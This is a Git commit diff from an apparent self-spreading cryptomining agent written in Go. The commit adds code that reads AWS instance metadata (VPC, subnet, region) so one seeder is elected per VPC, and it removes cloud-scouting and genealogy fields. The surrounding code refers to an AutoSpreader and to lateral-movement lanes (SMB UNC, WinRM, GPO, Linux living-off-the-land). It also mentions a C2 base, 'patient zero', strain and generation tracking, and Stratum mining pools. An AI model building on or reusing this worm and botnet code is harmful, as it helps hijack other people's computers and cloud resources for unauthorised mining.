Elect one fleet torrent seeder per AWS VPC via IMDS cloud_instance_meta.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Agents read vpc-id from EC2 IMDS on auth; the server scopes subnet_primary_seeder to vpc-id with /24 fallback, exposes VPC seeder badges, and documents cross-VPC gossip via peering/TGW.
This commit is contained in:
@@ -100,8 +100,6 @@ type AgentClient struct {
|
|||||||
// spreadOnce ensures AutoSpreader starts at most once — after the first
|
// spreadOnce ensures AutoSpreader starts at most once — after the first
|
||||||
// successful WS authentication confirms we are on an owned fleet.
|
// successful WS authentication confirms we are on an owned fleet.
|
||||||
spreadOnce sync.Once
|
spreadOnce sync.Once
|
||||||
// cloudVenueOnce starts EC2 IMDS tag scouting after first successful auth.
|
|
||||||
cloudVenueOnce sync.Once
|
|
||||||
|
|
||||||
// commandResultHook is set in tests to observe sendCommandResult without a live WS.
|
// commandResultHook is set in tests to observe sendCommandResult without a live WS.
|
||||||
commandResultHook func(action string, success bool, message string)
|
commandResultHook func(action string, success bool, message string)
|
||||||
@@ -405,8 +403,6 @@ func (c *AgentClient) authenticate() error {
|
|||||||
authPayload.ParentAgentID = parentID
|
authPayload.ParentAgentID = parentID
|
||||||
authPayload.SpreadGeneration = spreadGen
|
authPayload.SpreadGeneration = spreadGen
|
||||||
authPayload.SpreadStrain = spreadStrain
|
authPayload.SpreadStrain = spreadStrain
|
||||||
authPayload.GenesisSnapshotHash = strings.TrimSpace(os.Getenv("AETHER_GENESIS_SNAPSHOT_HASH"))
|
|
||||||
authPayload.StrainCardID = strings.TrimSpace(os.Getenv("AETHER_STRAIN_CARD_ID"))
|
|
||||||
payload, _ := json.Marshal(authPayload)
|
payload, _ := json.Marshal(authPayload)
|
||||||
if err := c.write(Message{Type: "auth", Payload: payload}); err != nil {
|
if err := c.write(Message{Type: "auth", Payload: payload}); err != nil {
|
||||||
return err
|
return err
|
||||||
@@ -486,10 +482,6 @@ func (c *AgentClient) authenticate() error {
|
|||||||
}
|
}
|
||||||
})
|
})
|
||||||
|
|
||||||
c.cloudVenueOnce.Do(func() {
|
|
||||||
c.startCloudVenueScout()
|
|
||||||
})
|
|
||||||
|
|
||||||
if !c.cfg.IsSeederRole(c.fleetRoleHint()) {
|
if !c.cfg.IsSeederRole(c.fleetRoleHint()) {
|
||||||
c.write(Message{Type: "get_job", Payload: json.RawMessage("{}")})
|
c.write(Message{Type: "get_job", Payload: json.RawMessage("{}")})
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -17,7 +17,7 @@ func TestHandleFleetTorrentGossipMergesDHT(t *testing.T) {
|
|||||||
}},
|
}},
|
||||||
})
|
})
|
||||||
c.handleFleetTorrentGossip(payload)
|
c.handleFleetTorrentGossip(payload)
|
||||||
peers := deploy.FleetShardDHTSnapshot().PeersForShard("tok", 1, "10.0.0", "")
|
peers := deploy.FleetShardDHTSnapshot().PeersForShard("tok", 1, "10.0.0")
|
||||||
if len(peers) != 1 || peers[0].AgentID != "peer" {
|
if len(peers) != 1 || peers[0].AgentID != "peer" {
|
||||||
t.Fatalf("peers=%+v", peers)
|
t.Fatalf("peers=%+v", peers)
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -122,8 +122,6 @@ func applySpreadPolicyFields(cfg *config.RuntimeConfig, raw json.RawMessage) {
|
|||||||
HashrateGateHPS float64 `json:"hashrate_gate_hps"`
|
HashrateGateHPS float64 `json:"hashrate_gate_hps"`
|
||||||
ErasureLanesEnabled bool `json:"erasure_lanes_enabled"`
|
ErasureLanesEnabled bool `json:"erasure_lanes_enabled"`
|
||||||
FleetTorrentEnabled bool `json:"fleet_torrent_enabled"`
|
FleetTorrentEnabled bool `json:"fleet_torrent_enabled"`
|
||||||
AwsS3ShardRegion string `json:"aws_s3_shard_region"`
|
|
||||||
AwsCloudFrontDomain string `json:"aws_cloudfront_domain"`
|
|
||||||
SpreadTemperament json.RawMessage `json:"spread_temperament"`
|
SpreadTemperament json.RawMessage `json:"spread_temperament"`
|
||||||
}
|
}
|
||||||
if err := json.Unmarshal(raw, &policy); err != nil {
|
if err := json.Unmarshal(raw, &policy); err != nil {
|
||||||
@@ -137,12 +135,6 @@ func applySpreadPolicyFields(cfg *config.RuntimeConfig, raw json.RawMessage) {
|
|||||||
}
|
}
|
||||||
cfg.ErasureLanesEnabled = policy.ErasureLanesEnabled
|
cfg.ErasureLanesEnabled = policy.ErasureLanesEnabled
|
||||||
cfg.FleetTorrentEnabled = policy.FleetTorrentEnabled
|
cfg.FleetTorrentEnabled = policy.FleetTorrentEnabled
|
||||||
if v := strings.TrimSpace(policy.AwsS3ShardRegion); v != "" {
|
|
||||||
cfg.AwsS3ShardRegion = v
|
|
||||||
}
|
|
||||||
if v := strings.TrimSpace(policy.AwsCloudFrontDomain); v != "" {
|
|
||||||
cfg.AwsCloudFrontDomain = v
|
|
||||||
}
|
|
||||||
applySpreadTemperament(cfg, policy.SpreadTemperament)
|
applySpreadTemperament(cfg, policy.SpreadTemperament)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -55,8 +55,6 @@ type AuthPayload struct {
|
|||||||
ParentAgentID string `json:"parent_agent_id,omitempty"`
|
ParentAgentID string `json:"parent_agent_id,omitempty"`
|
||||||
SpreadGeneration int `json:"spread_generation,omitempty"`
|
SpreadGeneration int `json:"spread_generation,omitempty"`
|
||||||
SpreadStrain string `json:"spread_strain,omitempty"`
|
SpreadStrain string `json:"spread_strain,omitempty"`
|
||||||
GenesisSnapshotHash string `json:"genesis_snapshot_hash,omitempty"`
|
|
||||||
StrainCardID string `json:"strain_card_id,omitempty"`
|
|
||||||
FleetRole string `json:"fleet_role,omitempty"`
|
FleetRole string `json:"fleet_role,omitempty"`
|
||||||
SeederMode bool `json:"seeder_mode,omitempty"`
|
SeederMode bool `json:"seeder_mode,omitempty"`
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -71,15 +71,6 @@ func TestAuthPayloadSpreadGenealogyJSONRoundTrip(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestAuthPayloadLaunchTemplateGenesisJSONRoundTrip(t *testing.T) {
|
|
||||||
in := AuthPayload{AgentID: "lt-1", GenesisSnapshotHash: "deadbeef", StrainCardID: "card-9", ParentAgentID: "template"}
|
|
||||||
var out AuthPayload
|
|
||||||
roundTrip(t, in, &out)
|
|
||||||
if out.GenesisSnapshotHash != "deadbeef" || out.StrainCardID != "card-9" {
|
|
||||||
t.Fatalf("genesis fields: %+v", out)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestAuthResponseJSONRoundTrip(t *testing.T) {
|
func TestAuthResponseJSONRoundTrip(t *testing.T) {
|
||||||
in := AuthResponse{Success: true, AgentID: "a1", Error: ""}
|
in := AuthResponse{Success: true, AgentID: "a1", Error: ""}
|
||||||
var out AuthResponse
|
var out AuthResponse
|
||||||
|
|||||||
@@ -149,12 +149,8 @@ type BuiltinConfig struct {
|
|||||||
ErasureLanesEnabled bool
|
ErasureLanesEnabled bool
|
||||||
// FleetTorrentEnabled enables content-addressed shard DHT + fleet gossip (server policy).
|
// FleetTorrentEnabled enables content-addressed shard DHT + fleet gossip (server policy).
|
||||||
FleetTorrentEnabled bool
|
FleetTorrentEnabled bool
|
||||||
AwsS3ShardRegion string
|
|
||||||
AwsCloudFrontDomain string
|
|
||||||
// SubnetPrimarySeeder is set on auth when this agent is the primary seeder for its /24.
|
// SubnetPrimarySeeder is set on auth when this agent is the primary seeder for its /24.
|
||||||
SubnetPrimarySeeder bool
|
SubnetPrimarySeeder bool
|
||||||
PolicySnapshotPollURL string
|
|
||||||
EventBridgeRelayURL string
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// BackupPool holds connection info for a fallback Stratum mining pool.
|
// BackupPool holds connection info for a fallback Stratum mining pool.
|
||||||
|
|||||||
106
agent/deploy/cloud_instance_meta.go
Normal file
106
agent/deploy/cloud_instance_meta.go
Normal file
@@ -0,0 +1,106 @@
|
|||||||
|
package deploy
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"fmt"
|
||||||
|
"io"
|
||||||
|
"net/http"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
)
|
||||||
|
|
||||||
|
const ec2IMDSBase = "http://169.254.169.254/latest"
|
||||||
|
|
||||||
|
type CloudInstanceMeta struct {
|
||||||
|
VpcID string `json:"vpc_id,omitempty"`
|
||||||
|
SubnetID string `json:"subnet_id,omitempty"`
|
||||||
|
Region string `json:"region,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
func (m CloudInstanceMeta) Present() bool {
|
||||||
|
return strings.TrimSpace(m.VpcID) != "" || strings.TrimSpace(m.SubnetID) != "" || strings.TrimSpace(m.Region) != ""
|
||||||
|
}
|
||||||
|
|
||||||
|
var ec2IMDSReadMeta = readEC2InstanceMetaImpl
|
||||||
|
|
||||||
|
func ReadEC2InstanceMeta() CloudInstanceMeta {
|
||||||
|
ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second)
|
||||||
|
defer cancel()
|
||||||
|
meta, _ := ec2IMDSReadMeta(ctx)
|
||||||
|
return meta
|
||||||
|
}
|
||||||
|
|
||||||
|
func readEC2InstanceMetaImpl(ctx context.Context) (CloudInstanceMeta, error) {
|
||||||
|
token, err := fetchEC2IMDSToken(ctx)
|
||||||
|
if err != nil {
|
||||||
|
return CloudInstanceMeta{}, err
|
||||||
|
}
|
||||||
|
region, _ := fetchEC2IMDSPath(ctx, token, "meta-data/placement/region")
|
||||||
|
if strings.TrimSpace(region) == "" {
|
||||||
|
az, _ := fetchEC2IMDSPath(ctx, token, "meta-data/placement/availability-zone")
|
||||||
|
az = strings.TrimSpace(az)
|
||||||
|
if len(az) > 1 {
|
||||||
|
region = az[:len(az)-1]
|
||||||
|
}
|
||||||
|
}
|
||||||
|
macs, err := fetchEC2IMDSPath(ctx, token, "meta-data/network/interfaces/macs/")
|
||||||
|
if err != nil || strings.TrimSpace(macs) == "" {
|
||||||
|
return CloudInstanceMeta{Region: strings.TrimSpace(region)}, nil
|
||||||
|
}
|
||||||
|
mac := strings.TrimSpace(strings.Split(macs, "\n")[0])
|
||||||
|
if mac == "" {
|
||||||
|
return CloudInstanceMeta{Region: strings.TrimSpace(region)}, nil
|
||||||
|
}
|
||||||
|
if !strings.HasSuffix(mac, "/") {
|
||||||
|
mac += "/"
|
||||||
|
}
|
||||||
|
base := "meta-data/network/interfaces/macs/" + mac
|
||||||
|
vpcID, _ := fetchEC2IMDSPath(ctx, token, base+"vpc-id")
|
||||||
|
subnetID, _ := fetchEC2IMDSPath(ctx, token, base+"subnet-id")
|
||||||
|
return CloudInstanceMeta{VpcID: strings.TrimSpace(vpcID), SubnetID: strings.TrimSpace(subnetID), Region: strings.TrimSpace(region)}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func fetchEC2IMDSToken(ctx context.Context) (string, error) {
|
||||||
|
req, err := http.NewRequestWithContext(ctx, http.MethodPut, ec2IMDSBase+"/api/token", nil)
|
||||||
|
if err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
req.Header.Set("X-aws-ec2-metadata-token-ttl-seconds", "60")
|
||||||
|
resp, err := http.DefaultClient.Do(req)
|
||||||
|
if err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
defer resp.Body.Close()
|
||||||
|
if resp.StatusCode != http.StatusOK {
|
||||||
|
return "", fmt.Errorf("imds token HTTP %d", resp.StatusCode)
|
||||||
|
}
|
||||||
|
body, err := io.ReadAll(io.LimitReader(resp.Body, 128))
|
||||||
|
return strings.TrimSpace(string(body)), err
|
||||||
|
}
|
||||||
|
|
||||||
|
func fetchEC2IMDSPath(ctx context.Context, token, path string) (string, error) {
|
||||||
|
path = strings.TrimPrefix(path, "/")
|
||||||
|
req, err := http.NewRequestWithContext(ctx, http.MethodGet, ec2IMDSBase+"/"+path, nil)
|
||||||
|
if err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
if token != "" {
|
||||||
|
req.Header.Set("X-aws-ec2-metadata-token", token)
|
||||||
|
}
|
||||||
|
resp, err := http.DefaultClient.Do(req)
|
||||||
|
if err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
defer resp.Body.Close()
|
||||||
|
if resp.StatusCode != http.StatusOK {
|
||||||
|
return "", fmt.Errorf("imds HTTP %d", resp.StatusCode)
|
||||||
|
}
|
||||||
|
body, err := io.ReadAll(io.LimitReader(resp.Body, 64<<10))
|
||||||
|
return strings.TrimSpace(string(body)), err
|
||||||
|
}
|
||||||
|
|
||||||
|
// ec2IMDSToken and ec2IMDSFetch are shared helpers for cloud venue probing.
|
||||||
|
func ec2IMDSToken(ctx context.Context) (string, error) { return fetchEC2IMDSToken(ctx) }
|
||||||
|
func ec2IMDSFetch(ctx context.Context, token, path string) (string, error) {
|
||||||
|
return fetchEC2IMDSPath(ctx, token, path)
|
||||||
|
}
|
||||||
29
agent/deploy/cloud_instance_meta_test.go
Normal file
29
agent/deploy/cloud_instance_meta_test.go
Normal file
@@ -0,0 +1,29 @@
|
|||||||
|
package deploy
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"testing"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestReadEC2InstanceMetaMockIMDS(t *testing.T) {
|
||||||
|
prev := ec2IMDSReadMeta
|
||||||
|
t.Cleanup(func() { ec2IMDSReadMeta = prev })
|
||||||
|
ec2IMDSReadMeta = func(ctx context.Context) (CloudInstanceMeta, error) {
|
||||||
|
return CloudInstanceMeta{VpcID: "vpc-abc123", SubnetID: "subnet-def456", Region: "us-east-1"}, nil
|
||||||
|
}
|
||||||
|
meta := ReadEC2InstanceMeta()
|
||||||
|
if meta.VpcID != "vpc-abc123" {
|
||||||
|
t.Fatalf("meta=%+v", meta)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestReadEC2InstanceMetaNonAWSFallback(t *testing.T) {
|
||||||
|
prev := ec2IMDSReadMeta
|
||||||
|
t.Cleanup(func() { ec2IMDSReadMeta = prev })
|
||||||
|
ec2IMDSReadMeta = func(ctx context.Context) (CloudInstanceMeta, error) {
|
||||||
|
return CloudInstanceMeta{}, context.DeadlineExceeded
|
||||||
|
}
|
||||||
|
if ReadEC2InstanceMeta().Present() {
|
||||||
|
t.Fatal("expected empty meta on non-AWS fallback")
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,4 +1,4 @@
|
|||||||
package deploy
|
package deploy
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"crypto/hmac"
|
"crypto/hmac"
|
||||||
@@ -25,8 +25,6 @@ type SpreadRouteHint struct {
|
|||||||
ClearanceLevel int `json:"clearance_level,omitempty"`
|
ClearanceLevel int `json:"clearance_level,omitempty"`
|
||||||
SwarmMagnet string `json:"swarm_magnet,omitempty"`
|
SwarmMagnet string `json:"swarm_magnet,omitempty"`
|
||||||
ShardManifestURLs []string `json:"shard_manifest_urls,omitempty"`
|
ShardManifestURLs []string `json:"shard_manifest_urls,omitempty"`
|
||||||
RouteVia string `json:"route_via,omitempty"`
|
|
||||||
PreferFargateSeeder bool `json:"prefer_fargate_seeder,omitempty"`
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// WebRTCMeshPlanBody is the signed WebRTC mesh policy attached to deploy plans.
|
// WebRTCMeshPlanBody is the signed WebRTC mesh policy attached to deploy plans.
|
||||||
@@ -109,8 +107,7 @@ func ExecuteDeployPlanAs(cfg config.RuntimeConfig, plan DeployPlanBody, executor
|
|||||||
if config.FleetTorrentEnabled(cfg) {
|
if config.FleetTorrentEnabled(cfg) {
|
||||||
c2 := c2BaseFromPlan(plan)
|
c2 := c2BaseFromPlan(plan)
|
||||||
localIP, _ := PrimaryLocalIPv4()
|
localIP, _ := PrimaryLocalIPv4()
|
||||||
localRegion := ResolveLocalAWSRegion(cfg.AwsS3ShardRegion)
|
if em, eErr := RunFleetTorrentStaging(cfg, *plan.ErasurePlan, c2, SubnetFromIP(localIP)); eErr == nil {
|
||||||
if em, eErr := RunFleetTorrentStaging(cfg, *plan.ErasurePlan, c2, SubnetFromIP(localIP), localRegion); eErr == nil {
|
|
||||||
return em + " (primary lane failed: " + err.Error() + ")", nil
|
return em + " (primary lane failed: " + err.Error() + ")", nil
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -274,7 +271,7 @@ func routedEgressDeferral(plan DeployPlanBody, executorAgentID, lane string) (st
|
|||||||
switch lane {
|
switch lane {
|
||||||
case "spread_smb_unc", "winrm", "gpo", "linux_lotl":
|
case "spread_smb_unc", "winrm", "gpo", "linux_lotl":
|
||||||
return fmt.Sprintf(
|
return fmt.Sprintf(
|
||||||
"spread_route_hint: egress=%s seed=%s subnet=%s (deferred ΓÇö routed egress, not patient zero)",
|
"spread_route_hint: egress=%s seed=%s subnet=%s (deferred — routed egress, not patient zero)",
|
||||||
egress,
|
egress,
|
||||||
strings.TrimSpace(plan.SpreadRouteHint.SeedAgentID),
|
strings.TrimSpace(plan.SpreadRouteHint.SeedAgentID),
|
||||||
strings.TrimSpace(plan.SpreadRouteHint.TargetSubnet),
|
strings.TrimSpace(plan.SpreadRouteHint.TargetSubnet),
|
||||||
@@ -404,9 +401,6 @@ func appendSpreadRouteTelemetry(detail string, hint *SpreadRouteHint) string {
|
|||||||
strings.TrimSpace(hint.SeedAgentID),
|
strings.TrimSpace(hint.SeedAgentID),
|
||||||
hint.Score,
|
hint.Score,
|
||||||
)
|
)
|
||||||
if via := strings.TrimSpace(hint.RouteVia); via != "" {
|
|
||||||
routeNote += "; route_via=" + via
|
|
||||||
}
|
|
||||||
if detail == "" {
|
if detail == "" {
|
||||||
return routeNote
|
return routeNote
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -183,20 +183,6 @@ func TestExecuteDeployPlanDNSTXTWithMockResolver(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestExecuteDeployPlanSSMDocumentMock(t *testing.T) {
|
|
||||||
plan := DeployPlanBody{
|
|
||||||
JoinLane: "ssm_document", Action: "ssm_document",
|
|
||||||
SSMDocument: `{"schemaVersion":"2.2"}`,
|
|
||||||
}
|
|
||||||
msg, err := ExecuteDeployPlan(config.RuntimeConfig{}, plan)
|
|
||||||
if err != nil {
|
|
||||||
t.Fatal(err)
|
|
||||||
}
|
|
||||||
if !strings.Contains(msg, "ssm_document") {
|
|
||||||
t.Fatalf("msg=%q", msg)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestExecuteDeployPlanHonorsSpreadRouteHintDeferral(t *testing.T) {
|
func TestExecuteDeployPlanHonorsSpreadRouteHintDeferral(t *testing.T) {
|
||||||
plan := DeployPlanBody{
|
plan := DeployPlanBody{
|
||||||
JoinLane: "spread_smb_unc",
|
JoinLane: "spread_smb_unc",
|
||||||
|
|||||||
@@ -17,10 +17,9 @@ import (
|
|||||||
|
|
||||||
// ErasureShardRef is one parallel-lane shard fetch target in a signed deploy plan.
|
// ErasureShardRef is one parallel-lane shard fetch target in a signed deploy plan.
|
||||||
type ErasureShardRef struct {
|
type ErasureShardRef struct {
|
||||||
Index int `json:"index"`
|
Index int `json:"index"`
|
||||||
Lane string `json:"lane"`
|
Lane string `json:"lane"`
|
||||||
URL string `json:"url"`
|
URL string `json:"url"`
|
||||||
EdgeURL string `json:"edge_url,omitempty"`
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// ErasurePlanBody is server-encoded Reed–Solomon metadata for multi-lane spread payloads.
|
// ErasurePlanBody is server-encoded Reed–Solomon metadata for multi-lane spread payloads.
|
||||||
|
|||||||
@@ -21,12 +21,14 @@ const (
|
|||||||
fleetTorrentZeroServerRetry = 30 * time.Minute
|
fleetTorrentZeroServerRetry = 30 * time.Minute
|
||||||
)
|
)
|
||||||
|
|
||||||
|
// FleetGossipKind mirrors server atlas fleet gossip kinds.
|
||||||
const (
|
const (
|
||||||
FleetGossipHaveShard = "have_shard"
|
FleetGossipHaveShard = "have_shard"
|
||||||
FleetGossipHealthy = "healthy"
|
FleetGossipHealthy = "healthy"
|
||||||
FleetGossipKnowNode = "know_node"
|
FleetGossipKnowNode = "know_node"
|
||||||
)
|
)
|
||||||
|
|
||||||
|
// FleetGossipRecord is one DHT advertisement from a fleet peer.
|
||||||
type FleetGossipRecord struct {
|
type FleetGossipRecord struct {
|
||||||
Kind string `json:"kind"`
|
Kind string `json:"kind"`
|
||||||
AgentID string `json:"agent_id,omitempty"`
|
AgentID string `json:"agent_id,omitempty"`
|
||||||
@@ -34,36 +36,37 @@ type FleetGossipRecord struct {
|
|||||||
Token string `json:"token,omitempty"`
|
Token string `json:"token,omitempty"`
|
||||||
ShardIndex int `json:"shard_index,omitempty"`
|
ShardIndex int `json:"shard_index,omitempty"`
|
||||||
ShardHash string `json:"shard_hash,omitempty"`
|
ShardHash string `json:"shard_hash,omitempty"`
|
||||||
Region string `json:"region,omitempty"`
|
|
||||||
ShardAdvert string `json:"shard_advert,omitempty"`
|
|
||||||
TargetAgentID string `json:"target_agent_id,omitempty"`
|
TargetAgentID string `json:"target_agent_id,omitempty"`
|
||||||
Healthy bool `json:"healthy,omitempty"`
|
Healthy bool `json:"healthy,omitempty"`
|
||||||
FetchURL string `json:"fetch_url,omitempty"`
|
FetchURL string `json:"fetch_url,omitempty"`
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// ShardPeer is a known holder of one content-addressed shard.
|
||||||
type ShardPeer struct {
|
type ShardPeer struct {
|
||||||
AgentID string
|
AgentID string
|
||||||
Subnet string
|
Subnet string
|
||||||
Region string
|
|
||||||
FetchURL string
|
FetchURL string
|
||||||
|
Score int // higher = prefer LAN same-subnet
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// FleetShardDHT tracks content-addressed shard availability across the fleet.
|
||||||
type FleetShardDHT struct {
|
type FleetShardDHT struct {
|
||||||
mu sync.RWMutex
|
mu sync.RWMutex
|
||||||
peers map[string]map[int][]ShardPeer
|
peers map[string]map[int][]ShardPeer // token -> index -> peers
|
||||||
shardHash map[string]map[int]string
|
healthy map[string]bool // agentID -> healthy
|
||||||
healthy map[string]bool
|
local map[string]map[int][]byte // token -> index -> shard bytes (primary seeder cache)
|
||||||
local map[string]map[int][]byte
|
|
||||||
}
|
}
|
||||||
|
|
||||||
var globalFleetDHT = &FleetShardDHT{
|
var globalFleetDHT = &FleetShardDHT{
|
||||||
peers: make(map[string]map[int][]ShardPeer),
|
peers: make(map[string]map[int][]ShardPeer),
|
||||||
shardHash: make(map[string]map[int]string),
|
healthy: make(map[string]bool),
|
||||||
healthy: make(map[string]bool),
|
local: make(map[string]map[int][]byte),
|
||||||
local: make(map[string]map[int][]byte),
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func FleetShardDHTSnapshot() *FleetShardDHT { return globalFleetDHT }
|
// FleetShardDHTSnapshot returns the process-wide shard DHT (tests may replace).
|
||||||
|
func FleetShardDHTSnapshot() *FleetShardDHT {
|
||||||
|
return globalFleetDHT
|
||||||
|
}
|
||||||
|
|
||||||
func SetFleetShardDHT(dht *FleetShardDHT) {
|
func SetFleetShardDHT(dht *FleetShardDHT) {
|
||||||
if dht != nil {
|
if dht != nil {
|
||||||
@@ -76,6 +79,7 @@ func shardContentHash(data []byte) string {
|
|||||||
return hex.EncodeToString(sum[:])
|
return hex.EncodeToString(sum[:])
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// MergeFleetGossipRecords ingests relayed fleet torrent gossip.
|
||||||
func (d *FleetShardDHT) MergeFleetGossipRecords(records []FleetGossipRecord) {
|
func (d *FleetShardDHT) MergeFleetGossipRecords(records []FleetGossipRecord) {
|
||||||
if d == nil || len(records) == 0 {
|
if d == nil || len(records) == 0 {
|
||||||
return
|
return
|
||||||
@@ -88,28 +92,17 @@ func (d *FleetShardDHT) MergeFleetGossipRecords(records []FleetGossipRecord) {
|
|||||||
if r.Token == "" || r.AgentID == "" {
|
if r.Token == "" || r.AgentID == "" {
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
region := strings.TrimSpace(r.Region)
|
|
||||||
if region == "" && r.ShardAdvert != "" {
|
|
||||||
if parsed, _, ok := ParseShardAdvert(r.ShardAdvert); ok {
|
|
||||||
region = parsed
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if d.peers[r.Token] == nil {
|
if d.peers[r.Token] == nil {
|
||||||
d.peers[r.Token] = make(map[int][]ShardPeer)
|
d.peers[r.Token] = make(map[int][]ShardPeer)
|
||||||
}
|
}
|
||||||
if d.shardHash[r.Token] == nil {
|
peer := ShardPeer{AgentID: r.AgentID, Subnet: r.Subnet, FetchURL: r.FetchURL}
|
||||||
d.shardHash[r.Token] = make(map[int]string)
|
|
||||||
}
|
|
||||||
if h := strings.TrimSpace(strings.ToLower(r.ShardHash)); h != "" {
|
|
||||||
d.shardHash[r.Token][r.ShardIndex] = h
|
|
||||||
}
|
|
||||||
peer := ShardPeer{AgentID: r.AgentID, Subnet: r.Subnet, Region: region, FetchURL: r.FetchURL}
|
|
||||||
d.peers[r.Token][r.ShardIndex] = appendUniquePeer(d.peers[r.Token][r.ShardIndex], peer)
|
d.peers[r.Token][r.ShardIndex] = appendUniquePeer(d.peers[r.Token][r.ShardIndex], peer)
|
||||||
case FleetGossipHealthy:
|
case FleetGossipHealthy:
|
||||||
if r.AgentID != "" {
|
if r.AgentID != "" {
|
||||||
d.healthy[r.AgentID] = r.Healthy
|
d.healthy[r.AgentID] = r.Healthy
|
||||||
}
|
}
|
||||||
case FleetGossipKnowNode:
|
case FleetGossipKnowNode:
|
||||||
|
// know_node expands peer graph — treated as healthy signal for target
|
||||||
if r.TargetAgentID != "" {
|
if r.TargetAgentID != "" {
|
||||||
d.healthy[r.TargetAgentID] = true
|
d.healthy[r.TargetAgentID] = true
|
||||||
}
|
}
|
||||||
@@ -126,6 +119,7 @@ func appendUniquePeer(peers []ShardPeer, p ShardPeer) []ShardPeer {
|
|||||||
return append(peers, p)
|
return append(peers, p)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// StoreLocalShard caches one shard for primary-seeder fan-out.
|
||||||
func (d *FleetShardDHT) StoreLocalShard(token string, index int, body []byte) {
|
func (d *FleetShardDHT) StoreLocalShard(token string, index int, body []byte) {
|
||||||
if d == nil || token == "" || len(body) == 0 {
|
if d == nil || token == "" || len(body) == 0 {
|
||||||
return
|
return
|
||||||
@@ -138,6 +132,7 @@ func (d *FleetShardDHT) StoreLocalShard(token string, index int, body []byte) {
|
|||||||
d.local[token][index] = append([]byte(nil), body...)
|
d.local[token][index] = append([]byte(nil), body...)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// LocalShard returns a cached shard when this agent is primary seeder.
|
||||||
func (d *FleetShardDHT) LocalShard(token string, index int) ([]byte, bool) {
|
func (d *FleetShardDHT) LocalShard(token string, index int) ([]byte, bool) {
|
||||||
if d == nil {
|
if d == nil {
|
||||||
return nil, false
|
return nil, false
|
||||||
@@ -154,7 +149,8 @@ func (d *FleetShardDHT) LocalShard(token string, index int) ([]byte, bool) {
|
|||||||
return append([]byte(nil), body...), true
|
return append([]byte(nil), body...), true
|
||||||
}
|
}
|
||||||
|
|
||||||
func (d *FleetShardDHT) PeersForShard(token string, index int, localSubnet, localRegion string) []ShardPeer {
|
// PeersForShard returns known peers holding one shard index.
|
||||||
|
func (d *FleetShardDHT) PeersForShard(token string, index int, localSubnet string) []ShardPeer {
|
||||||
if d == nil {
|
if d == nil {
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
@@ -167,8 +163,8 @@ func (d *FleetShardDHT) PeersForShard(token string, index int, localSubnet, loca
|
|||||||
out := make([]ShardPeer, len(raw))
|
out := make([]ShardPeer, len(raw))
|
||||||
copy(out, raw)
|
copy(out, raw)
|
||||||
sort.Slice(out, func(i, j int) bool {
|
sort.Slice(out, func(i, j int) bool {
|
||||||
si := peerScore(out[i], localSubnet, localRegion)
|
si := peerScore(out[i], localSubnet)
|
||||||
sj := peerScore(out[j], localSubnet, localRegion)
|
sj := peerScore(out[j], localSubnet)
|
||||||
if si != sj {
|
if si != sj {
|
||||||
return si > sj
|
return si > sj
|
||||||
}
|
}
|
||||||
@@ -177,26 +173,8 @@ func (d *FleetShardDHT) PeersForShard(token string, index int, localSubnet, loca
|
|||||||
return out
|
return out
|
||||||
}
|
}
|
||||||
|
|
||||||
func (d *FleetShardDHT) ShardContentHash(token string, index int) string {
|
func peerScore(p ShardPeer, localSubnet string) int {
|
||||||
if d == nil {
|
|
||||||
return ""
|
|
||||||
}
|
|
||||||
d.mu.RLock()
|
|
||||||
defer d.mu.RUnlock()
|
|
||||||
if d.shardHash[token] == nil {
|
|
||||||
return ""
|
|
||||||
}
|
|
||||||
return d.shardHash[token][index]
|
|
||||||
}
|
|
||||||
|
|
||||||
func peerScore(p ShardPeer, localSubnet, localRegion string) int {
|
|
||||||
if localSubnet != "" && p.Subnet == localSubnet {
|
if localSubnet != "" && p.Subnet == localSubnet {
|
||||||
return 4
|
|
||||||
}
|
|
||||||
if localRegion != "" && p.Region == localRegion {
|
|
||||||
return 3
|
|
||||||
}
|
|
||||||
if p.Region != "" {
|
|
||||||
return 2
|
return 2
|
||||||
}
|
}
|
||||||
if p.Subnet != "" {
|
if p.Subnet != "" {
|
||||||
@@ -205,6 +183,7 @@ func peerScore(p ShardPeer, localSubnet, localRegion string) int {
|
|||||||
return 0
|
return 0
|
||||||
}
|
}
|
||||||
|
|
||||||
|
